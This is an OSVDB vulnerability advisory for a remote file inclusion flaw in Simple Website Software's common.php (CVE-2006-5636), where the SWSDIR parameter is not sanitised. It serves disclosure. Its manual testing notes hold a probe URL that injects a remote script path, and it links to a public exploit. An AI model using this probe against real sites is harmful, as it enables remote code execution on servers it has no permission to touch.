Simple Website Software common.php SWSDIR Variable Remote File Inclusion

2006-10-29T13:18:48
ID OSVDB:30131
Type osvdb
Reporter Cyber-Security()
Modified 2006-10-29T13:18:48

Description

Vulnerability Description

Simple Website Software contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to common.php not properly sanitizing user input supplied to the 'SWSDIR' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Simple Website Software contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to common.php not properly sanitizing user input supplied to the 'SWSDIR' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/common.php?SWSDIR=evilscripts?

References:

Secunia Advisory ID:22618 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-10/0483.html Generic Exploit URL: http://milw0rm.com/exploits/2673 CVE-2006-5636